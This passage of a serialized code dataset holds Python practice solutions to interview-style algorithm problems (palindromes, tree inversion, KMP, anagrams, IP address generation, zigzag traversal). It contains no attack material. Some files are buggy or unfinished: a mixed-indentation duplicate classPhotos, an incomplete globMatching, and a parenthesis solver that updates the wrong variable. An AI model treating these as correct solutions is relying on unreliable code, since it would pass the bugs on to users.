O(N^2) time | O(1) space\ndef longestPalindromicSubstring(string):\n currentLongest=[0,1]\n for i in range(1,len(string)):\n odd=getLongestPalindromeFrom(string,i-1,i+1)\n even=getLongestPalindromeFrom(string,i-1,i)\n longest =max(odd,even,key=lambda x: x[1]-x[0])\n currentLongest=max(longest,currentLongest,key=lambda x: x[1]-x[0])\n \n return string[currentLongest[0]:currentLongest[1]]\n\ndef getLongestPalindromeFrom(string,leftIdx,rightIdx):\n while leftIdx >= 0 and rightIdx < len(string):\n if string[leftIdx] != string[rightIdx]:\n break\n leftIdx-=1\n rightIdx+=1\n return [leftIdx+1,rightIdx]\n\nprint(longestPalindromicSubstring(\"abaxyzzyxf\"))\n" }, { "alpha_fraction": 0.6449275612831116, "alphanum_fraction": 0.6463767886161804, "avg_line_length": 22.79310417175293, "blob_id": "0e29996be691877c83493c3f4dd7991aa67ee18d", "content_id": "3b1109dc98d5cdec55ad7bf76e6411fde2445e71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 690, "license_type": "no_license", "max_line_length": 49, "num_lines": 29, "path": "/invertBinaryTree.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def swapNode(tree):\n tree.right, tree.left = tree.left, tree.right\n\n\ndef invertBinaryTree(tree):\n queue = [tree]\n while len(queue):\n currentNode = queue.pop(0)\n if currentNode is None:\n continue\n swapNode(currentNode)\n queue.append(currentNode.left)\n queue.append(currentNode.right)\n\n\ndef invertBinaryTreeRecursive(tree):\n if tree is None:\n return\n swapNode(tree)\n invertBinaryTreeRecursive(tree.left)\n invertBinaryTreeRecursive(tree.right)\n\n\n# This is the class of the input binary tree.\nclass BinaryTree:\n def __init__(self, value):\n self.value = value\n self.left = None\n self.right = None\n" }, { "alpha_fraction": 0.6373831629753113, "alphanum_fraction": 0.6747663617134094, "avg_line_length": 32.5, "blob_id": "7e3a0367f98cdf0fe30fcfe0eb0240e76c80e42f", "content_id": "de90eb05b52d96c7264025fc94aa14ab915c3772", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 535, "license_type": "no_license", "max_line_length": 102, "num_lines": 16, "path": "/trappingInRain.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def trappingInRain(array):\n totalTrappedWater=0\n for i in range(1,len(array)-1): #because the first and last index will not have left and right max\n #{3,0,2,4} =>min{3,4}-arr[i]\n leftMax=findLeftMax(array,i)\n rightMax=findRightMax(array,i)\n totalTrappedWater += min(leftMax,rightMax)-array[i]\n return abs(totalTrappedWater)\n\ndef findLeftMax(array,pos):\n return max(list(array[:pos+1]))\n\ndef findRightMax(array,pos):\n return max(list(array[pos:]))\n\nprint(trappingInRain([3,0,2,0,4,9,0,4,8,9]))" }, { "alpha_fraction": 0.48341837525367737, "alphanum_fraction": 0.5063775777816772, "avg_line_length": 21.428571701049805, "blob_id": "e4751fdef2e881b38b172a7f0514b09845707917", "content_id": "9b849b2ee88ea0573ec313bfc7d942f6534b5494", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 784, "license_type": "no_license", "max_line_length": 49, "num_lines": 35, "path": "/knuthMorrisPrattAlgorithm.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def knuthMorrisPrattAlgorithm(string, substring):\n pattern = buildPattern(substring)\n return doesMatch(string, substring,pattern)\n\n\ndef buildPattern(substring):\n pattern = [-1 for i in substring]\n j=0\n i=1\n while i < len(substring):\n if substring[i]==substring[j]:\n pattern[i]=j\n j+=1\n i+=1\n elif j>0:\n j=pattern[j-1]+1\n else:\n i+=1\n return pattern\n\n\ndef doesMatch(string,substring,pattern):\n i=0\n j=0\n while i+len(substring) -j <=len(string):\n if string[i]==substring[j]:\n if j== len(substring)-1:\n return True\n i+=1\n j+=1\n elif j>0:\n j=pattern[j-1]+1\n else:\n i+=1\n return False" }, { "alpha_fraction": 0.6505706906318665, "alphanum_fraction": 0.651448667049408, "avg_line_length": 26.780487060546875, "blob_id": "b6c56aee5a610210d0bac2063efff9ef6d6146d1", "content_id": "e767a88f011678420395a22e00f1168bb7083ff5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1139, "license_type": "no_license", "max_line_length": 73, "num_lines": 41, "path": "/findSuccessor.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# This is an input class. Do not edit.\nclass BinaryTree:\n def __init__(self, value, left=None, right=None, parent=None):\n self.value = value\n self.left = left\n self.right = right\n self.parent = parent\n\n\n# def findSuccessor(tree, node):\n# visited = []\n# findSuccessorHelper(tree, node, visited)\n# for i in range(len(visited)):\n# if visited[i] == node:\n# return visited[i+1]\n# return None\n\n\n# def findSuccessorHelper(tree, node, visited):\n# if tree is None:\n# return None\n# findSuccessorHelper(tree.left, node, visited)\n# visited.append(tree)\n# findSuccessorHelper(tree.right, node, visited)\n\ndef findSuccessor(tree, node):\n if node.right is not None:\n return getLeftMostChild(node.right)\n return getRightMostParent(node)\n\ndef getLeftMostChild(node):\n current = node\n while current.left is not None:\n current=current.left\n return current\n\ndef getRightMostParent(node):\n current = node\n while current.parent is not None and current.parent.right == current:\n current=current.parent\n return current.parent\n" }, { "alpha_fraction": 0.6677018404006958, "alphanum_fraction": 0.6677018404006958, "avg_line_length": 39.25, "blob_id": "caee1b2c16ec8d413abb4a20682ec50cc7eebdc8", "content_id": "372abb445e911784d3d376da14874bbf5fff51a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 322, "license_type": "no_license", "max_line_length": 93, "num_lines": 8, "path": "/globMatching.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def globMatching(fileName, pattern):\n locations = getLocationOfSymbols(pattern)\n for pos in locations:\n if pattern[pos]==\"*\":\n stringBefore=fileName[len(fileName)-pos]\n\ndef getLocationOfSymbols(pattern):\n return [idx for idx in range(len(pattern)) if pattern[idx] == \"*\" or pattern[idx] == \"?\"]\n" }, { "alpha_fraction": 0.5890151262283325, "alphanum_fraction": 0.6098484992980957, "avg_line_length": 34.20000076293945, "blob_id": "da00bac32501bd597cb0672182938901cac57f3e", "content_id": "2d6dbce9c984c2270d4247a7ff3d9811306b106a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 528, "license_type": "no_license", "max_line_length": 60, "num_lines": 15, "path": "/firstNonRepeatingCharacter.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def firstNonRepeatingCharacter(string):\n visited = set()\n nonRepeatedTable = {}\n for i in range(len(string)):\n ch = string[i]\n if ch not in nonRepeatedTable and ch not in visited:\n nonRepeatedTable[ch] = i\n visited.add(ch)\n elif ch in nonRepeatedTable and ch in visited:\n del nonRepeatedTable[ch]\n firstIdx = 10000\n for _, val in nonRepeatedTable.items():\n if val < firstIdx:\n firstIdx = val\n return -1 if firstIdx == 10000 else firstIdx\n" }, { "alpha_fraction": 0.7853881120681763, "alphanum_fraction": 0.7890411019325256, "avg_line_length": 30.285715103149414, "blob_id": "39e28d5ef76581e0f8e577d2c8fb0c6a422bfda5", "content_id": "63f259fd5681d9150b98c178741b86e4ea846def", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1095, "license_type": "no_license", "max_line_length": 108, "num_lines": 35, "path": "/classPhotos.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def classPhotos(redShirtHeights, blueShirtHeights):\n\ttallestRed,shortestRed = getTallestStudentInRow(redShirtHeights)\n\ttallestBlue,shortestBlue = getTallestStudentInRow(blueShirtHeights)\n\tredAsFront=False\n\tif tallestRed>=tallestBlue and shortestRed>=shortestBlue:\n\t\tredAsFront=True\n redShirtHeights.sort()\n\tblueShirtHeights.sort()\n\tarrangement= zip(blueShirtHeights,redShirtHeights) if redAsFront else zip(redShirtHeights,blueShirtHeights)\n\tfor col in arrangement:\n\t\tif col[0]>=col[1]:\n\t\t\treturn False\n return True\n\n\ndef getTallestStudentInRow(row):\n\treturn (max(row),min(row))\n\n\n\ndef classPhotos(redShirtHeights, blueShirtHeights):\n redShirtHeights.sort(reverse=True)\n\tblueShirtHeights.sort(reverse=True)\n\tshirtColorInFirstRow = 'RED' if redShirtHeights[0]<blueShirtHeights[0] else 'BLUE'\n\tfor idx in range(len(redShirtHeights)):\n\t\tredShirtHeight = redShirtHeights[idx]\n\t\tblueShirtHeight = blueShirtHeights[idx]\n\n\t\tif shirtColorInFirstRow == \"RED\":\n\t\t\tif redShirtHeight>=blueShirtHeight:\n\t\t\t\treturn False\n\t\telse:\n\t\t\tif blueShirtHeight>=redShirtHeight:\n\t\t\t\treturn False\n return True\n" }, { "alpha_fraction": 0.7461773753166199, "alphanum_fraction": 0.7488957047462463, "avg_line_length": 36.25316619873047, "blob_id": "218af1a0e1d6ceb4b3195ab9f3e33428191f58d4", "content_id": "e358eec9f9b063474d2498903d8c953aba975d26", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2943, "license_type": "no_license", "max_line_length": 112, "num_lines": 79, "path": "/youngestCommonAncestor.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# This is an input class. Do not edit.\nclass AncestralTree:\n def __init__(self, name):\n self.name = name\n self.ancestor = None\n\n\ndef getYoungestCommonAncestor(topAncestor, descendantOne, descendantTwo):\n return getYoungestCommonAncestorHelper(topAncestor, descendantOne, descendantTwo)\n\n\ndef getYoungestCommonAncestorHelper(topAncestor, descendantOne, descendantTwo):\n depthOfDescendantOne = findDepthOfAncestralTree(descendantOne)\n depthOfDescendantTwo = findDepthOfAncestralTree(descendantTwo)\n if depthOfDescendantOne > depthOfDescendantTwo:\n possibleAncestorAtLevel = traverseUntilDepthdiff(\n descendantOne, getAbsDiffOfDepth(depthOfDescendantOne, depthOfDescendantTwo))\n return grabAncestor(possibleAncestorAtLevel, descendantTwo)\n else:\n possibleAncestorAtLevel = traverseUntilDepthdiff(\n descendantTwo, getAbsDiffOfDepth(depthOfDescendantOne, depthOfDescendantTwo))\n return grabAncestor(possibleAncestorAtLevel, descendantOne)\n\n\ndef grabAncestor(descendantOne, descendantTwo):\n if descendantOne is not descendantTwo:\n return grabAncestor(descendantOne.ancestor, descendantTwo.ancestor)\n return descendantOne\n\n\ndef traverseUntilDepthdiff(tree: AncestralTree, diff, currentLevel=0):\n if diff == currentLevel:\n return tree\n return traverseUntilDepthdiff(tree.ancestor, diff, currentLevel+1)\n\n\ndef getAbsDiffOfDepth(x, y):\n return abs(x-y)\n\n\ndef findDepthOfAncestralTree(tree, depth=0):\n # if we still have an ancestor move forward else return depth of tree\n if tree.ancestor is not None:\n return findDepthOfAncestralTree(tree.ancestor, depth+1)\n else:\n return depth\n\n\n# class AncestralTree:\n# def __init__(self, name):\n# self.name = name\n# self.ancestor = None\n\n\n# def getYoungestCommonAncestor(topAncestor, descendantOne, descendantTwo):\n# depthOfDescendantOne = findDepthOfAncestralTree(descendantOne)\n# depthOfDescendantTwo = findDepthOfAncestralTree(descendantTwo)\n# if depthOfDescendantOne > depthOfDescendantTwo:\n# return backtrackAncestralTree(descendantOne, descendantTwo, depthOfDescendantOne-depthOfDescendantTwo)\n# else:\n# return backtrackAncestralTree(descendantTwo, descendantOne, depthOfDescendantTwo-depthOfDescendantOne)\n\n\n# def backtrackAncestralTree(lowerDescendant, higherDescendant, diff):\n# while diff > 0:\n# lowerDescendant = lowerDescendant.ancestor\n# diff -= 1\n# while lowerDescendant != higherDescendant:\n# lowerDescendant = lowerDescendant.ancestor\n# higherDescendant = higherDescendant.ancestor\n# return lowerDescendant\n\n\n# def findDepthOfAncestralTree(tree, depth=0):\n# # if we still have an ancestor move forward else return depth of tree\n# if tree.ancestor is not None:\n# return findDepthOfAncestralTree(tree.ancestor, depth+1)\n# else:\n# return depth\n" }, { "alpha_fraction": 0.5476003289222717, "alphanum_fraction": 0.5578284859657288, "avg_line_length": 37.51515197753906, "blob_id": "a26e2eeb016fbe167544d297b0e84e1b53e57714", "content_id": "9c403fc02c5dde424c37f38a4d6d8f6a54571c4d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1271, "license_type": "no_license", "max_line_length": 79, "num_lines": 33, "path": "/sunSetView.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "class Building:\n def __init__(self, height, idx):\n self.height = height\n self.idx = idx\n\n\ndef sunsetViews(buildings, direction):\n if len(buildings) == 0:\n return []\n if direction == \"EAST\":\n stk = [Building(buildings[0], 0)]\n for idx in range(1, len(buildings)):\n currentBuildingHeight = buildings[idx]\n if currentBuildingHeight >= stk[-1].height:\n while len(stk) > 0 and currentBuildingHeight >= stk[-1].height:\n stk.pop()\n stk.append(Building(currentBuildingHeight, idx))\n else:\n stk.append(Building(currentBuildingHeight, idx))\n return [b.idx for b in stk]\n else:\n stk = [Building(buildings[-1], len(buildings)-1)]\n for idx in reversed(range(len(buildings)-1)):\n currentBuildingHeight = buildings[idx]\n if currentBuildingHeight >= stk[-1].height:\n while len(stk) > 0 and currentBuildingHeight >= stk[-1].height:\n stk.pop()\n stk.append(Building(currentBuildingHeight, idx))\n else:\n stk.append(Building(currentBuildingHeight, idx))\n temp = [b.idx for b in stk]\n temp.sort()\n return temp\n" }, { "alpha_fraction": 0.5931734442710876, "alphanum_fraction": 0.5950184464454651, "avg_line_length": 30.882352828979492, "blob_id": "3029d69d91cbf9aa6fa17476477fe5022f2c1062", "content_id": "2607e1c2a121516a359b7850632a318fcbc3121a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1084, "license_type": "no_license", "max_line_length": 78, "num_lines": 34, "path": "/groupAnagram.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def groupAnagrams(words):\n anagrams = {}\n for word in words:\n sortedWord = ''.join(sorted(word))\n if sortedWord in anagrams:\n anagrams[sortedWord].append(word)\n else:\n anagrams[sortedWord] = [word]\n return list(anagrams.values())\n\n# def groupAnagrams(words):\n# if len(words)==0:\n# return []\n# sortedWords = [''.join(sorted(word))for word in words]\n# indices = [i for i in range(len(words))]\n# indices.sort(key=lambda x: sortedWords[x])\n\n# result = []\n# currentAnagramGroup = []\n# currentAnagram = sortedWords[indices[0]]\n# for index in indices:\n# word = words[index]\n# sortedWord = sortedWords[index]\n# if sortedWord == currentAnagram:\n# currentAnagramGroup.append(word)\n# continue\n# result.append(currentAnagramGroup)\n# currentAnagramGroup = [word]\n# currentAnagram=sortedWord\n# result.append(currentAnagramGroup)\n# return result\n\n\nprint(groupAnagrams([\"yo\", \"act\", \"flop\", \"tac\", \"foo\", \"cat\", \"oy\", \"olfp\"]))\n" }, { "alpha_fraction": 0.7119883298873901, "alphanum_fraction": 0.7119883298873901, "avg_line_length": 35, "blob_id": "401f4cb00ac55f3b0ea20a945d5fb9309503663a", "content_id": "dc126e3bd44a3150b8ef9ff1b99143a3e9685b60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2052, "license_type": "no_license", "max_line_length": 88, "num_lines": 57, "path": "/validateThreeNode.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "class BST:\n def __init__(self, value, left=None, right=None):\n self.value = value\n self.left = left\n self.right = right\n\n\ndef searchForAncestor(node, possibleAncestor, nodeToParents):\n if node.value not in nodeToParents or nodeToParents[node.value] is None:\n return\n if node.value in nodeToParents and nodeToParents[node.value] == possibleAncestor:\n return nodeToParents[node.value]\n return searchForAncestor(nodeToParents[node.value], possibleAncestor, nodeToParents)\n\n\ndef populateNodeToParents(node, nodeToParents, parent=None):\n if node:\n nodeToParents[node.value] = parent\n populateNodeToParents(node.left, nodeToParents, node)\n populateNodeToParents(node.right, nodeToParents, node)\n\n\ndef searchForDescendant(node, nodeOne, nodeThree):\n if node is None:\n return\n if node.value == nodeOne.value:\n return node\n if node.value == nodeThree.value:\n return node\n leftSearch = searchForDescendant(node.left, nodeOne, nodeThree)\n rightSearch = searchForDescendant(node.right, nodeOne, nodeThree)\n if leftSearch is not None and rightSearch is not None and leftSearch != rightSearch:\n return None\n if leftSearch and rightSearch is None:\n return leftSearch\n if rightSearch and leftSearch is None:\n return rightSearch\n return None\n\n\ndef validateThreeNodes(nodeOne, nodeTwo, nodeThree):\n descendant = searchForDescendant(nodeTwo, nodeOne, nodeThree)\n if descendant is None:\n return False\n if descendant.value == nodeOne.value:\n possibleAncestor = nodeThree\n if descendant.value == nodeThree.value:\n possibleAncestor = nodeOne\n nodeToParents = {}\n if possibleAncestor is nodeOne:\n populateNodeToParents(nodeOne, nodeToParents)\n if possibleAncestor is nodeThree:\n populateNodeToParents(nodeThree, nodeToParents)\n ancestor = searchForAncestor(nodeTwo, possibleAncestor, nodeToParents)\n if ancestor == possibleAncestor:\n return True\n return False\n" }, { "alpha_fraction": 0.5189964175224304, "alphanum_fraction": 0.5372759699821472, "avg_line_length": 26.623762130737305, "blob_id": "c30c05e3ee932bcfa42643c3e7ad276800b761bb", "content_id": "e1a761b743d2e41c311662280c8b39f097aef1c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2790, "license_type": "no_license", "max_line_length": 71, "num_lines": 101, "path": "/rightSmallerThan.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "# O(N^(N/2)) time | O(N) space\n# def rightSmallerThan(array):\n# if len(array)==0:\n# return []\n# result = []\n# for i in range(len(array)):\n# count=0\n# current = array[i]\n# left = i+1\n# right = len(array)-1\n# while right>=left:\n# if left==right :\n# if current > array[left] and current > array[right]:\n# count+=1\n# left+=1\n# right-=1\n# continue\n# if current > array[left]:\n# count+=1\n# if current > array[right]:\n# count+=1\n# left+=1\n# right-=1\n# result.append(count)\n# return result\n\n# O(N^2) | O(N)\ndef rightSmallerThan(array):\n if len(array) == 0:\n return []\n\n result = []\n for i in range(len(array)):\n count = 0\n for j in range(i+1, len(array)):\n if array[i] > array[j]:\n count += 1\n result.append(count)\n return result\n\n\nclass SpecialBST:\n def __init__(self, value, idx, numSmallerAtInsertTime) -> None:\n self.value = value\n self.idx = idx\n self.left = None\n self.right = None\n self.numSmallerAtInsertTime= numSmallerAtInsertTime\n self.leftSubTreeSize=0\n\n def insert(self, val, idx, numSmallerAtInsertTime):\n if self.value < val:\n numSmallerAtInsertTime+=self.leftSubTreeSize\n if val > self.value:\n numSmallerAtInsertTime+=1\n if self.right is None:\n self.right = SpecialBST(val,idx,numSmallerAtInsertTime)\n else:\n self.right.insert(val,idx,numSmallerAtInsertTime)\n else:\n self.leftSubTreeSize += 1\n if self.left is None:\n self.left = SpecialBST(val,idx,numSmallerAtInsertTime)\n else:\n self.left.insert(val, idx, numSmallerAtInsertTime)\n\n\ndef rightSmallerThan(array):\n if len(array) == 0:\n return []\n lastIdx = len(array)-1\n bst = SpecialBST(array[lastIdx], lastIdx, 0)\n for idx in reversed(range(len(array)-1)):\n bst.insert(array[idx], idx, 0)\n\n rightSmallerCounts = array[:]\n getRightSmallerCounts(bst, rightSmallerCounts)\n return rightSmallerCounts\n\n\ndef getRightSmallerCounts(bst, rightSmallerCounts):\n if bst is None:\n return\n rightSmallerCounts[bst.idx] = bst.numSmallerAtInsertTime\n getRightSmallerCounts(bst.left, rightSmallerCounts)\n getRightSmallerCounts(bst.right, rightSmallerCounts)\n\n\n\"\"\"\n 8\n / \\\n 5 11\n /\n -1\n \\\n 3\n / \\\n 2 4 \n\"\"\"\nprint(rightSmallerThan([8, 5, 11, -1, 3, 4, 2]))\n# print(rightSmallerThan([9, 8, 10, 11, 12, 13]))\n" }, { "alpha_fraction": 0.7338444590568542, "alphanum_fraction": 0.737130343914032, "avg_line_length": 32.85185241699219, "blob_id": "91fd8f1c8543f5f88690f6eacf44ea375d6ab0ef", "content_id": "abb151f542350f24e6620e7d03f860420dbc2788", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 913, "license_type": "no_license", "max_line_length": 72, "num_lines": 27, "path": "/binaryTreeDiameter.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "class BinaryTree:\n def __init__(self, value, left=None, right=None):\n self.value = value\n self.left = left\n self.right = right\n\nclass TreeNodePathInfo:\n def __init__(self,diameter,height):\n self.height = height\n self.diameter = diameter\n\n\ndef binaryTreeDiameter(tree):\n return binaryTreeDiameterHelper(tree).diameter\n\ndef binaryTreeDiameterHelper(tree):\n if tree is None:\n return TreeNodePathInfo(0,0)\n leftTreeData = binaryTreeDiameterHelper(tree.left)\n rightTreeData = binaryTreeDiameterHelper(tree.right)\n \n longestPathThroughRoot = leftTreeData.height + rightTreeData.height\n maxDiameterSoFar = max(leftTreeData.diameter,rightTreeData.diameter)\n currentDiameter = max(longestPathThroughRoot,maxDiameterSoFar)\n currentHeight = 1+max(leftTreeData.height,rightTreeData.height)\n\n return TreeNodePathInfo(currentDiameter,currentHeight)" }, { "alpha_fraction": 0.6237457990646362, "alphanum_fraction": 0.6438127160072327, "avg_line_length": 36.40625, "blob_id": "5ecf1a89e4f4848e058fceeea5a600fb96206bad", "content_id": "885380d997a760849f4db586b78a48a1b4674a15", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1196, "license_type": "no_license", "max_line_length": 121, "num_lines": 32, "path": "/validIpAddress.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def isValidIpAddressNumber(string: str) -> bool:\n stringAsInt = int(string)\n if stringAsInt > 255:\n return False\n return len(string) == len(str(stringAsInt))\n\n\ndef generateValidIpAddressSequence(string: str) -> list:\n ipAddressesFound = []\n for i in range(1, min(len(string), 4)):\n currentIpAddressParts = ['', '', '', '']\n currentIpAddressParts[0] = string[:i]\n if not isValidIpAddressNumber(currentIpAddressParts[0]):\n continue\n for j in range(i+1, i+min(len(string)-i, 4)):\n currentIpAddressParts[1] = string[i:j]\n if not isValidIpAddressNumber(currentIpAddressParts[1]):\n continue\n for k in range(j+1, j+min(len(string)-j, 4)):\n currentIpAddressParts[2] = string[j:k]\n currentIpAddressParts[3] = string[k:]\n if isValidIpAddressNumber(currentIpAddressParts[2]) and isValidIpAddressNumber(currentIpAddressParts[3]):\n ipAddressesFound.append('.'.join(currentIpAddressParts))\n return ipAddressesFound\n\n\n\n\ndef validIPAddresses(string):\n return generateValidIpAddressSequence(string)\n\nprint(validIPAddresses(\"1921680\"))" }, { "alpha_fraction": 0.605066180229187, "alphanum_fraction": 0.6303972601890564, "avg_line_length": 33.7400016784668, "blob_id": "f2d7e5a9eea38c76eb7e5e13174e2b68cabc28c0", "content_id": "33455b9a74bdec96fcb6eeb95f88d7ce6392038b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1737, "license_type": "no_license", "max_line_length": 91, "num_lines": 50, "path": "/shiftedBinarySearch.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def shiftedBinarySearch(array, target):\n return modifiedBinarySearch(array, target, 0, len(array)-1)\n\n\ndef modifiedBinarySearch(array, target, firstIdx, lastIdx):\n if lastIdx < firstIdx:\n return -1\n middle = (firstIdx+lastIdx)//2\n potentialMatch = array[middle]\n leftNum = array[firstIdx]\n rightNum = array[lastIdx]\n if potentialMatch == target:\n return middle\n elif leftNum <= potentialMatch:\n if target < potentialMatch and target >=leftNum:\n return modifiedBinarySearch(array, target, firstIdx, middle-1)\n else:\n return modifiedBinarySearch(array, target, middle+1, lastIdx)\n else:\n if target > potentialMatch and target<=rightNum:\n return modifiedBinarySearch(array, target, middle+1, lastIdx)\n else:\n return modifiedBinarySearch(array, target, firstIdx, middle-1)\n\n\ndef shiftedBinarySearchIterative(array, target):\n return modifiedBinarySearchIterative(array, target,0,len(array)-1)\n\ndef modifiedBinarySearchIterative(array,target,left,right):\n while left <= right:\n middle = (left+right)//2\n potentialMatch = array[middle]\n leftNum = array[left]\n rightNum = array[right]\n if potentialMatch == target:\n return middle\n elif leftNum <= potentialMatch:\n if target < potentialMatch and target >=leftNum:\n right= middle-1\n else:\n left = middle+1\n else:\n if target > potentialMatch and target<=rightNum:\n left = middle+1\n else:\n right= middle-1\n return -1\n\n\nprint(shiftedBinarySearchIterative([45,61, 71, 72, 73, 100,-5,0, 1,20, 21,28, 33, 37], 28))\n" }, { "alpha_fraction": 0.5384615659713745, "alphanum_fraction": 0.5436766743659973, "avg_line_length": 20.91428565979004, "blob_id": "e3ffd95386710f8b20271f24d9ca3b0e1e577519", "content_id": "1316d638b0ee1237589210fe521ec0564969bd0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 767, "license_type": "no_license", "max_line_length": 40, "num_lines": 35, "path": "/reverseWordInString.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def reverseWordsInString(string):\n # Write your code here.\n tokens = generateTokens(string)\n return ''.join(reverseToken(tokens))\n\n\ndef generateTokens(string, sep=\" \"):\n current = \"\"\n ret = []\n for ch in string:\n if ch == sep and current != \"\":\n ret.append(current)\n current = \"\"\n if ch == sep and current == \"\":\n ret.append(ch)\n continue\n\n current += ch\n if current != \"\":\n ret.append(current)\n return ret\n\n\ndef reverseToken(tokens):\n leftIdx = 0\n rightIdx = len(tokens)-1\n while leftIdx <= rightIdx:\n swap(leftIdx, rightIdx, tokens)\n leftIdx += 1\n rightIdx -= 1\n return tokens\n\n\ndef swap(i, j, arr):\n arr[i], arr[j] = arr[j], arr[i]\n" }, { "alpha_fraction": 0.5267489552497864, "alphanum_fraction": 0.5349794030189514, "avg_line_length": 38.67346954345703, "blob_id": "c9225adf17a6e7acc22cd983d32640a31fd93254", "content_id": "5610f9e658ba1fbe400a87e33d3931d0e12e78b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1944, "license_type": "no_license", "max_line_length": 71, "num_lines": 49, "path": "/balancedLongestContinousParenthesis.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def longestBalancedParenthesisSubstring(string):\n if len(string) == 0:\n return 0\n\n stack = []\n maxlongestSubStrSoFar = 0\n longestSubStrSoFar = 0\n for ch in string:\n if ch == \"(\":\n stack.append(ch)\n elif ch == \")\":\n if len(stack) != 0 and stack[-1] == \"(\":\n _ = stack.pop()\n longestSubStrSoFar += 2\n if longestSubStrSoFar > maxlongestSubStrSoFar:\n maxlongestSubStrSoFar = max(\n longestSubStrSoFar, maxlongestSubStrSoFar)\n else:\n if longestSubStrSoFar > maxlongestSubStrSoFar:\n maxlongestSubStrSoFar = max(\n longestSubStrSoFar, maxlongestSubStrSoFar)\n longestSubStrSoFar = 0\n if len(stack) != 0:\n stack = []\n rmaxlongestSubStrSoFar = 0\n longestSubStrSoFar = 0\n for ch in string:\n if ch == \")\":\n stack.append(ch)\n elif ch == \"(\":\n if len(stack) != 0 and stack[-1] == \")\":\n _ = stack.pop()\n longestSubStrSoFar += 2\n if longestSubStrSoFar > rmaxlongestSubStrSoFar:\n maxlongestSubStrSoFar = max(\n longestSubStrSoFar, rmaxlongestSubStrSoFar)\n else:\n if longestSubStrSoFar > rmaxlongestSubStrSoFar:\n rmaxlongestSubStrSoFar = max(\n longestSubStrSoFar, rmaxlongestSubStrSoFar)\n longestSubStrSoFar = 0\n return max(rmaxlongestSubStrSoFar, maxlongestSubStrSoFar)\n return maxlongestSubStrSoFar\n\n\nprint(longestBalancedParenthesisSubstring(\"())(())\"))\nprint(longestBalancedParenthesisSubstring(\")(()))))((((()\"))\nprint(longestBalancedParenthesisSubstring('()((())(())') == 4)\nprint(longestBalancedParenthesisSubstring('(()())'))\n" }, { "alpha_fraction": 0.3657342791557312, "alphanum_fraction": 0.4167832136154175, "avg_line_length": 22.83333396911621, "blob_id": "dcbd62721e70d0328b4eb0930f132df8468f44fc", "content_id": "4786a7386a2484c7c2fcc45bbf2232ba876258a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1430, "license_type": "no_license", "max_line_length": 60, "num_lines": 60, "path": "/zigzagTraverse.py", "repo_name": "santoshparmarindia/algoexpert", "src_encoding": "UTF-8", "text": "def isOutOfBounds(row, col, height, width):\n return row < 0 or row > height or col < 0 or col > width\n\n\ndef zigzagTraverse(array):\n height = len(array)-1\n width = len(array[0])-1\n result = []\n row, col = 0, 0\n goingDown = True\n goingRight = False\n # how do we make decision based on choices below :\n # moving down [row+=1][col]\n # moving right [row][col+=1]\n # moving diagonally upright [row-=1][col+=1]\n # moving diagonally downleft [col-=1][row-=1]\n \"\"\"\n -\n [1,3,4, 10]\n | / / / |\n [2,5,9, 11] ==> [1,2,3,4]\n / / /\n [6,8,12,15] \n | / / /|\n [7,13,14,16]\n _\n \"\"\"\n while not isOutOfBounds(row, col, height, width):\n result.append(array[row][col])\n if goingDown:\n if col == 0 or row == height:\n goingDown = False\n if row == height:\n col += 1\n else:\n row += 1\n else:\n row += 1\n col -= 1\n else:\n if row == 0 or col == width:\n goingDown = True\n if col == width:\n row += 1\n else:\n col += 1\n else:\n row -= 1\n col += 1\n\n return result\n\n\narray = [\n [1, 3, 4, 10],\n [2, 5, 9, 11],\n [6, 8, 12, 15],\n [7, 13, 14, 16]\n]\nprint(zigzagTraverse(array))\n" }, { "alpha_fraction": 0.5760266184806824, "alphanum_fraction": 0.588790237903595, "avg_line_length": 33.653846740722656, "blob_id": "db3807df050fe6c7a3d1ace9a73a31c2a3a6ad89", "content_id": 